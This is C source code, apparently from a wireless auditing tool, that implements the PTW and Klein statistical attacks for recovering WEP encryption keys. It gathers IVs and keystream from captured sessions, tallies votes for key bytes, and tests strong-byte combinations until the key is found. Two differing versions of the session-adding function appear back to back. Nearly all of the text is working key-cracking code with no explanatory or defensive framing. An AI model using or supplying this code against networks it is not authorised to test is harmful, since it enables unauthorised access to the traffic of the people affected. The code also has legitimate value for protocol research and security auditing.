/* * Add a new session to the attack * state - state of attack * iv - IV used in the session * keystream - recovered keystream from the session */ int PTW_addsession(PTW_attackstate * state, uint8_t * iv, uint8_t * keystream) { int i; int il; int ir; uint8_t buf[PTW_KEYHSBYTES]; i = (iv[0] << 16) | (iv[1] << 8) | (iv[2]); il = i/8; ir = 1 << (i%8); if ((state->seen_iv[il] & ir) == 0) { state->packets_collected++; state->seen_iv[il] |= ir; guesskeybytes(iv, keystream, buf, PTW_KEYHSBYTES); for (i = 0; i < KEYHSBYTES; i++) { state->table[i][buf[i]].votes++; } if (state->sessions_collected < CONTROLSESSIONS) { memcpy(state->sessions[state->sessions_collected].iv, iv, IVBYTES); memcpy(state->sessions[state->sessions_collected].keystream, keystream, KSBYTES); state->sessions_collected++; } return 1; } else { return 0; } }
/* * Add a new session to the attack * state - state of attack * iv - IV used in the session * keystream - recovered keystream from the session */ int PTW_addsession(PTW_attackstate * state, unsigned char * iv, unsigned char * keystream, int * weight, int total) { int i,j; int il; int ir; unsigned char buf[PTW_KEYHSBYTES]; i = (iv[0] << 16) | (iv[1] << 8) | (iv[2]); il = i/8; ir = 1 << (i%8); if ((state->seen_iv[il] & ir) == 0) { state->seen_iv[il] |= ir; for (j = 0; j < total; j++) { state->packets_collected++; guesskeybytes(IVBYTES, iv, &keystream[KSBYTES*j], buf, PTW_KEYHSBYTES); for (i = 0; i < PTW_KEYHSBYTES; i++) { state->table[i][buf[i]].votes += weight[j]; } if (state->allsessions_size < state->packets_collected) { state->allsessions_size = state->allsessions_size << 1; state->allsessions = (PTW_session*)realloc(state->allsessions, state->allsessions_size * sizeof(PTW_session)); if (state->allsessions == NULL) { printf("could not allocate memory\n"); exit(-1); } } memcpy(state->allsessions[state->packets_collected-1].iv, iv, IVBYTES); memcpy(state->allsessions[state->packets_collected-1].keystream, &keystream[KSBYTES*j], KSBYTES); state->allsessions[state->packets_collected-1].weight = weight[j]; } if ((state->sessions_collected < CONTROLSESSIONS)) { memcpy(state->sessions[state->sessions_collected].iv, iv, IVBYTES); memcpy(state->sessions[state->sessions_collected].keystream, keystream, KSBYTES); state->sessions_collected++; } return 1; } else { return 0; } }
/* * Guess which key bytes could be strong and start actual computation of the key */ int PTW_computeKey(PTW_attackstate * state, unsigned char * keybuf, int keylen, int testlimit, int * bf, int validchars[][n], int attacks) { int strongbytes[PTW_KEYHSBYTES]; double normal[PTW_KEYHSBYTES]; double ausreisser[PTW_KEYHSBYTES]; doublesorthelper helper[PTW_KEYHSBYTES]; int simple, onestrong, twostrong; int i,j; unsigned char fullkeybuf[PTW_KSBYTES]; unsigned char guessbuf[PTW_KSBYTES]; sorthelper(*sh)[n-1]; PTW_tableentry (*table)[n] = (PTW_tableentry (*)[n])alloca(sizeof(PTW_tableentry) * n * keylen); tried=0; sh = NULL; if (table == NULL) { printf("could not allocate memory\n"); exit(-1); } if(!(attacks & NO_KLEIN)) { // Try the original klein attack first for (i = 0; i < keylen; i++) { memset(&table[i][0], 0, sizeof(PTW_tableentry) * n); for (j = 0; j < n; j++) { table[i][j].b = j; } for (j = 0; j < state->packets_collected; j++) { // fullkeybuf[0] = state->allsessions[j].iv[0]; memcpy(fullkeybuf, state->allsessions[j].iv, 3 * sizeof(unsigned char)); guesskeybytes(i+3, fullkeybuf, state->allsessions[j].keystream, guessbuf, 1); table[i][guessbuf[0]].votes += state->allsessions[j].weight; } qsort(&table[i][0], n, sizeof(PTW_tableentry), &compare); j = 0; while(!validchars[i][table[i][j].b]) { j++; } // printf("guessing i = %d, b = %d\n", i, table[0][0].b); fullkeybuf[i+3] = table[i][j].b; } if (correct(state, &fullkeybuf[3], keylen)) { memcpy(keybuf, &fullkeybuf[3], keylen * sizeof(unsigned char)); // printf("hit without correction\n"); return 1; } } if(!(attacks & NO_PTW)) { memcpy(table, state->table, sizeof(PTW_tableentry) * n * keylen); onestrong = (testlimit/10)*2; twostrong = (testlimit/10)*1; simple = testlimit - onestrong - twostrong; // now, sort the table for (i = 0; i < keylen; i++) { qsort(&table[i][0], n, sizeof(PTW_tableentry), &compare); strongbytes[i] = 0; } sh = (sorthelper(*)[n-1])alloca(sizeof(sorthelper) * (n-1) * keylen); if (sh == NULL) { printf("could not allocate memory\n"); exit(-1); } for (i = 0; i < keylen; i++) { for (j = 1; j < n; j++) { sh[i][j-1].distance = table[i][0].votes - table[i][j].votes; sh[i][j-1].value = table[i][j].b; sh[i][j-1].keybyte = i; } } qsort(sh, (n-1)*keylen, sizeof(sorthelper), &comparesorthelper); if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, simple, bf, validchars)) { return 1; } // Now one strong byte getdrv(state->table, keylen, normal, ausreisser); for (i = 0; i < keylen-1; i++) { helper[i].keybyte = i+1; helper[i].difference = normal[i+1] - ausreisser[i+1]; } qsort(helper, keylen-1, sizeof(doublesorthelper), &comparedoublesorthelper); // do not use bf-bytes as strongbytes i = 0; while(bf[helper[i].keybyte] == 1) { i++; } strongbytes[helper[i].keybyte] = 1; if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, onestrong, bf, validchars)) { return 1; } // two strong bytes i++; while(bf[helper[i].keybyte] == 1) { i++; } strongbytes[helper[i].keybyte] = 1; if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, twostrong, bf, validchars)) { return 1; } } return 0; }